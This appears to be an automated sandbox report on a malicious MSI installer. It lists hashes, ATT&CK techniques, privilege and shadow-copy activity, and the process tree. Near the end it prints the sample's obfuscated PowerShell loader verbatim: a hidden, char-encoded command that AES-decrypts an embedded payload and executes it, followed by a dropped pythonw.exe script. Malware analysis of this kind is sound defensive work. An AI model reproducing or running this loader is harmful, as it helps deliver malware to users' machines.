151d2a7f52f047638ca8ad80c859c6bfe04d7510fb10933817fa0e3ba5d07a11

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
331.msi
Size 11.3MB
Sample260825-thg5ms11d1
SHA256 151d2a7f52f047638ca8ad80c859c6bfe04d7510fb10933817fa0e3ba5d07a11
MD5 7268001f887c5a6290642a0dcf8a4529
SHA1 90c75e290688ce34851d022d72e27387621a2ba2
SHA512 b358a30262744ec8272e911822968284b87c5dbcabf559b691cce95da28077e0f014d662cd421fe0d6e56fb38925898cd063d23d90b2436e0bb4eb9fbe6660c7
SSDEEP 196608:sGEiJyWvueF5uD3XxHszrwzHIZmkxYpLbOxuMLmtRbzIVp0FfFsQOJGSjWjK6884:hEpWvueFQszrwzumoqPOsR3kglF1jbKX
TLSH
T106C63332F2AA8E35C92D703A9DE2D494C86C3E31135490B1FB6D39E13CFC5B6A5C15A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1416	powershell.exe
5276	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2684	pythonw.exe

Loads dropped DLL 19 IoCs

pid	Process
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e59699d.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1771C144F196844D.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FFBB3B3F-2F70-416E-B8CE-8842C06F1EA6}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF484EF510222EC342.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6EBE.tmp	msiexec.exe
File created	C:\Windows\Installer\e59699f.msi	msiexec.exe
File created	C:\Windows\Installer\e59699d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA36ED7184F6D1A86.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB922BFF3D7D6C13C.TMP	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
992	msiexec.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1488	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4144	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
5676	msiexec.exe
5676	msiexec.exe
1416	powershell.exe
1416	powershell.exe
1416	powershell.exe
5276	powershell.exe
5276	powershell.exe
5276	powershell.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe
2684	pythonw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	992	msiexec.exe
Token: SeIncreaseQuotaPrivilege	992	msiexec.exe
Token: SeSecurityPrivilege	5676	msiexec.exe
Token: SeCreateTokenPrivilege	992	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	992	msiexec.exe
Token: SeLockMemoryPrivilege	992	msiexec.exe
Token: SeIncreaseQuotaPrivilege	992	msiexec.exe
Token: SeMachineAccountPrivilege	992	msiexec.exe
Token: SeTcbPrivilege	992	msiexec.exe
Token: SeSecurityPrivilege	992	msiexec.exe
Token: SeTakeOwnershipPrivilege	992	msiexec.exe
Token: SeLoadDriverPrivilege	992	msiexec.exe
Token: SeSystemProfilePrivilege	992	msiexec.exe
Token: SeSystemtimePrivilege	992	msiexec.exe
Token: SeProfSingleProcessPrivilege	992	msiexec.exe
Token: SeIncBasePriorityPrivilege	992	msiexec.exe
Token: SeCreatePagefilePrivilege	992	msiexec.exe
Token: SeCreatePermanentPrivilege	992	msiexec.exe
Token: SeBackupPrivilege	992	msiexec.exe
Token: SeRestorePrivilege	992	msiexec.exe
Token: SeShutdownPrivilege	992	msiexec.exe
Token: SeDebugPrivilege	992	msiexec.exe
Token: SeAuditPrivilege	992	msiexec.exe
Token: SeSystemEnvironmentPrivilege	992	msiexec.exe
Token: SeChangeNotifyPrivilege	992	msiexec.exe
Token: SeRemoteShutdownPrivilege	992	msiexec.exe
Token: SeUndockPrivilege	992	msiexec.exe
Token: SeSyncAgentPrivilege	992	msiexec.exe
Token: SeEnableDelegationPrivilege	992	msiexec.exe
Token: SeManageVolumePrivilege	992	msiexec.exe
Token: SeImpersonatePrivilege	992	msiexec.exe
Token: SeCreateGlobalPrivilege	992	msiexec.exe
Token: SeBackupPrivilege	3520	vssvc.exe
Token: SeRestorePrivilege	3520	vssvc.exe
Token: SeAuditPrivilege	3520	vssvc.exe
Token: SeBackupPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe
Token: SeTakeOwnershipPrivilege	5676	msiexec.exe
Token: SeRestorePrivilege	5676	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
992	msiexec.exe
992	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
992	msiexec.exe
5676	msiexec.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5676 wrote to memory of 1608	5676	msiexec.exe	94
PID 5676 wrote to memory of 1488	5676	msiexec.exe	96
PID 1488 wrote to memory of 1416	1488	cmd.exe	98
PID 1416 wrote to memory of 5276	1416	powershell.exe	100
PID 5276 wrote to memory of 2684	5276	powershell.exe	102
PID 2684 wrote to memory of 1884	2684	pythonw.exe	104
PID 2684 wrote to memory of 3128	2684	pythonw.exe	105
PID 2684 wrote to memory of 4144	2684	pythonw.exe	107
PID 2684 wrote to memory of 1164	2684	pythonw.exe	109

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\331.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:992

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5676
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1608
- C:\Windows\system32\cmd.exe
  cmd.exe /c start "" powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\PowershellCleaner\scripts\cleaner.ps1" -NoExit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\PowershellCleaner\scripts\cleaner.ps1" -NoExit
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "iex (-join [char[]]@(0x24,0x62,0x3D,0x22,0x41,0x6B,0x67,0x66,0x52,0x78,0x30,0x4F,0x54,0x6B,0x62,0x75,0x5A,0x4C,0x50,0x74,0x6A,0x36,0x38,0x55,0x74,0x65,0x56,0x58,0x2B,0x59,0x2B,0x66,0x48,0x4D,0x6F,0x4C,0x35,0x73,0x55,0x64,0x44,0x77,0x38,0x43,0x4A,0x55,0x5A,0x33,0x69,0x39,0x2B,0x65,0x49,0x68,0x75,0x31,0x39,0x73,0x61,0x4B,0x64,0x56,0x4C,0x62,0x33,0x4B,0x41,0x50,0x4F,0x41,0x72,0x54,0x37,0x57,0x7A,0x45,0x44,0x44,0x4E,0x55,0x75,0x53,0x57,0x4B,0x4B,0x32,0x70,0x72,0x48,0x73,0x6B,0x4A,0x72,0x34,0x70,0x45,0x43,0x36,0x58,0x35,0x71,0x49,0x78,0x34,0x2F,0x78,0x4F,0x30,0x64,0x34,0x57,0x51,0x30,0x41,0x34,0x36,0x58,0x62,0x69,0x67,0x4A,0x42,0x67,0x35,0x35,0x54,0x61,0x31,0x57,0x56,0x41,0x7A,0x4B,0x74,0x50,0x6D,0x46,0x31,0x50,0x2B,0x77,0x4B,0x55,0x67,0x76,0x33,0x64,0x79,0x32,0x4E,0x78,0x6D,0x61,0x4A,0x6D,0x37,0x69,0x76,0x47,0x46,0x58,0x72,0x37,0x39,0x37,0x2B,0x42,0x48,0x33,0x65,0x41,0x74,0x4B,0x7A,0x49,0x48,0x34,0x75,0x47,0x6C,0x30,0x56,0x66,0x46,0x79,0x39,0x75,0x59,0x46,0x4C,0x51,0x43,0x49,0x30,0x76,0x50,0x79,0x71,0x58,0x6C,0x43,0x74,0x54,0x64,0x38,0x68,0x4D,0x4A,0x54,0x74,0x73,0x76,0x72,0x39,0x5A,0x53,0x63,0x31,0x38,0x52,0x79,0x4C,0x57,0x32,0x4A,0x4F,0x38,0x67,0x52,0x5A,0x57,0x36,0x45,0x2F,0x31,0x6A,0x65,0x68,0x71,0x4C,0x69,0x4C,0x43,0x6E,0x35,0x51,0x54,0x66,0x31,0x6A,0x45,0x33,0x47,0x47,0x43,0x49,0x33,0x6E,0x78,0x58,0x57,0x73,0x39,0x77,0x77,0x35,0x54,0x37,0x6E,0x69,0x67,0x69,0x36,0x39,0x57,0x4D,0x4E,0x62,0x79,0x69,0x61,0x38,0x59,0x4D,0x55,0x59,0x74,0x67,0x44,0x35,0x57,0x58,0x78,0x44,0x71,0x2F,0x43,0x48,0x35,0x6C,0x75,0x4C,0x73,0x51,0x2F,0x73,0x66,0x2B,0x50,0x6D,0x45,0x6E,0x72,0x4A,0x69,0x70,0x31,0x46,0x5A,0x49,0x41,0x4C,0x63,0x46,0x4D,0x71,0x41,0x4A,0x44,0x42,0x72,0x4F,0x76,0x7A,0x76,0x73,0x76,0x33,0x53,0x49,0x37,0x35,0x30,0x71,0x44,0x55,0x7A,0x52,0x34,0x74,0x54,0x6C,0x7A,0x69,0x56,0x65,0x55,0x44,0x39,0x6D,0x52,0x72,0x67,0x2F,0x69,0x36,0x71,0x79,0x6F,0x32,0x4B,0x66,0x35,0x48,0x62,0x2B,0x57,0x6D,0x6E,0x70,0x37,0x57,0x4C,0x47,0x48,0x66,0x34,0x59,0x4A,0x4E,0x2F,0x47,0x50,0x33,0x36,0x67,0x2F,0x57,0x66,0x6B,0x32,0x57,0x2B,0x73,0x35,0x63,0x55,0x54,0x6F,0x54,0x57,0x4C,0x5A,0x43,0x78,0x4C,0x4C,0x4B,0x63,0x75,0x4E,0x54,0x48,0x44,0x4F,0x63,0x68,0x55,0x39,0x6B,0x76,0x36,0x4C,0x51,0x69,0x73,0x34,0x39,0x6C,0x45,0x5A,0x76,0x49,0x65,0x42,0x70,0x44,0x32,0x44,0x48,0x67,0x74,0x51,0x6B,0x6C,0x36,0x6F,0x4C,0x63,0x47,0x4D,0x55,0x6A,0x39,0x6F,0x67,0x65,0x67,0x6F,0x4A,0x61,0x4B,0x6F,0x76,0x63,0x32,0x37,0x4B,0x6E,0x41,0x4C,0x72,0x6E,0x52,0x4F,0x75,0x4A,0x56,0x62,0x59,0x49,0x64,0x69,0x4D,0x65,0x6E,0x74,0x4A,0x46,0x54,0x49,0x74,0x68,0x4D,0x45,0x34,0x52,0x45,0x6A,0x63,0x54,0x58,0x51,0x6C,0x6C,0x59,0x38,0x4F,0x66,0x45,0x52,0x69,0x61,0x79,0x63,0x61,0x41,0x4A,0x42,0x67,0x62,0x39,0x7A,0x61,0x61,0x46,0x50,0x6D,0x4E,0x4B,0x75,0x57,0x48,0x71,0x65,0x4F,0x37,0x41,0x49,0x70,0x65,0x70,0x2B,0x62,0x55,0x51,0x67,0x6D,0x66,0x54,0x58,0x4D,0x52,0x2F,0x44,0x33,0x77,0x38,0x50,0x50,0x79,0x36,0x42,0x41,0x68,0x4C,0x56,0x56,0x7A,0x68,0x54,0x75,0x2F,0x68,0x37,0x39,0x6D,0x79,0x64,0x69,0x35,0x30,0x4D,0x36,0x6D,0x45,0x56,0x46,0x59,0x4E,0x6C,0x65,0x36,0x65,0x31,0x31,0x76,0x41,0x4A,0x2B,0x58,0x6E,0x4B,0x50,0x31,0x4E,0x5A,0x65,0x50,0x61,0x63,0x32,0x53,0x6E,0x79,0x4D,0x6A,0x4E,0x58,0x7A,0x2B,0x71,0x2B,0x62,0x7A,0x31,0x77,0x54,0x78,0x49,0x49,0x61,0x37,0x46,0x22,0x3B,0x24,0x68,0x3D,0x22,0x31,0x34,0x39,0x33,0x38,0x31,0x39,0x43,0x30,0x36,0x30,0x46,0x43,0x41,0x37,0x42,0x33,0x43,0x30,0x30,0x43,0x35,0x46,0x33,0x42,0x37,0x42,0x45,0x34,0x44,0x30,0x37,0x43,0x36,0x34,0x46,0x42,0x33,0x31,0x45,0x46,0x35,0x36,0x43,0x35,0x33,0x33,0x30,0x35,0x41,0x30,0x43,0x43,0x38,0x38,0x39,0x33,0x35,0x46,0x32,0x36,0x46,0x41,0x44,0x22,0x3B,0x24,0x70,0x3D,0x22,0x4B,0x46,0x48,0x45,0x4A,0x42,0x4B,0x46,0x48,0x45,0x49,0x46,0x4F,0x6E,0x64,0x77,0x6F,0x76,0x66,0x64,0x65,0x69,0x75,0x66,0x22,0x3B,0x24,0x73,0x3D,0x5B,0x62,0x79,0x74,0x65,0x5B,0x5D,0x5D,0x40,0x28,0x30,0x78,0x35,0x41,0x2C,0x30,0x78,0x31,0x46,0x2C,0x30,0x78,0x33,0x43,0x2C,0x30,0x78,0x39,0x39,0x2C,0x30,0x78,0x30,0x42,0x2C,0x30,0x78,0x45,0x32,0x2C,0x30,0x78,0x37,0x44,0x2C,0x30,0x78,0x34,0x34,0x29,0x3B,0x24,0x64,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x52,0x66,0x63,0x32,0x38,0x39,0x38,0x44,0x65,0x72,0x69,0x76,0x65,0x42,0x79,0x74,0x65,0x73,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x70,0x2C,0x24,0x73,0x2C,0x35,0x30,0x30,0x30,0x29,0x3B,0x24,0x6B,0x3D,0x24,0x64,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x33,0x32,0x29,0x3B,0x24,0x76,0x3D,0x24,0x64,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x31,0x36,0x29,0x3B,0x24,0x61,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x41,0x65,0x73,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x29,0x3B,0x24,0x61,0x2E,0x4D,0x6F,0x64,0x65,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x69,0x70,0x68,0x65,0x72,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x43,0x42,0x43,0x3B,0x24,0x61,0x2E,0x50,0x61,0x64,0x64,0x69,0x6E,0x67,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x50,0x61,0x64,0x64,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x50,0x4B,0x43,0x53,0x37,0x3B,0x24,0x63,0x3D,0x24,0x61,0x2E,0x43,0x72,0x65,0x61,0x74,0x65,0x44,0x65,0x63,0x72,0x79,0x70,0x74,0x6F,0x72,0x28,0x24,0x6B,0x2C,0x24,0x76,0x29,0x3B,0x24,0x6D,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x49,0x4F,0x2E,0x4D,0x65,0x6D,0x6F,0x72,0x79,0x53,0x74,0x72,0x65,0x61,0x6D,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x5B,0x43,0x6F,0x6E,0x76,0x65,0x72,0x74,0x5D,0x3A,0x3A,0x46,0x72,0x6F,0x6D,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6E,0x67,0x28,0x24,0x62,0x29,0x29,0x3B,0x24,0x78,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x53,0x74,0x72,0x65,0x61,0x6D,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x6D,0x2C,0x24,0x63,0x2C,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x53,0x74,0x72,0x65,0x61,0x6D,0x4D,0x6F,0x64,0x65,0x5D,0x3A,0x3A,0x52,0x65,0x61,0x64,0x29,0x3B,0x24,0x72,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x49,0x4F,0x2E,0x53,0x74,0x72,0x65,0x61,0x6D,0x52,0x65,0x61,0x64,0x65,0x72,0x5D,0x3A,0x3A,0x6E,0x65,0x77,0x28,0x24,0x78,0x29,0x3B,0x24,0x63,0x6D,0x64,0x3D,0x24,0x72,0x2E,0x52,0x65,0x61,0x64,0x54,0x6F,0x45,0x6E,0x64,0x28,0x29,0x3B,0x24,0x72,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x78,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x6D,0x2E,0x43,0x6C,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x61,0x2E,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x28,0x29,0x3B,0x24,0x73,0x68,0x61,0x3D,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x53,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2E,0x43,0x72,0x79,0x70,0x74,0x6F,0x67,0x72,0x61,0x70,0x68,0x79,0x2E,0x53,0x48,0x41,0x32,0x35,0x36,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x29,0x3B,0x24,0x63,0x68,0x3D,0x5B,0x42,0x69,0x74,0x43,0x6F,0x6E,0x76,0x65,0x72,0x74,0x65,0x72,0x5D,0x3A,0x3A,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x28,0x24,0x73,0x68,0x61,0x2E,0x43,0x6F,0x6D,0x70,0x75,0x74,0x65,0x48,0x61,0x73,0x68,0x28,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x2E,0x45,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x5D,0x3A,0x3A,0x55,0x54,0x46,0x38,0x2E,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x24,0x63,0x6D,0x64,0x29,0x29,0x29,0x2E,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x28,0x22,0x2D,0x22,0x2C,0x22,0x22,0x29,0x3B,0x24,0x73,0x68,0x61,0x2E,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x28,0x29,0x3B,0x69,0x66,0x28,0x24,0x63,0x68,0x20,0x2D,0x65,0x71,0x20,0x24,0x68,0x29,0x7B,0x26,0x28,0x5B,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x53,0x63,0x72,0x69,0x70,0x74,0x42,0x6C,0x6F,0x63,0x6B,0x5D,0x3A,0x3A,0x43,0x72,0x65,0x61,0x74,0x65,0x28,0x24,0x63,0x6D,0x64,0x29,0x29,0x7D,0x65,0x6C,0x73,0x65,0x7B,0x57,0x72,0x69,0x74,0x65,0x2D,0x48,0x6F,0x73,0x74,0x20,0x22,0x42,0x6C,0x6F,0x63,0x6B,0x65,0x64,0x20,0x2D,0x20,0x48,0x61,0x73,0x68,0x20,0x6D,0x69,0x73,0x6D,0x61,0x74,0x63,0x68,0x22,0x20,0x2D,0x46,0x6F,0x72,0x65,0x67,0x72,0x6F,0x75,0x6E,0x64,0x20,0x52,0x65,0x64,0x7D))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5276
    - - C:\Users\Admin\AppData\Roaming\cxqMtFSIlrJfdvwZ\fl\ang\pythonw.exe
        
        "C:\Users\Admin\AppData\Roaming\cxqMtFSIlrJfdvwZ\fl\ang\pythonw.exe" C:\Users\Admin\AppData\Roaming\cxqMtFSIlrJfdvwZ\fl\ang\ss.py
        5⤵
        Executes dropped EXE
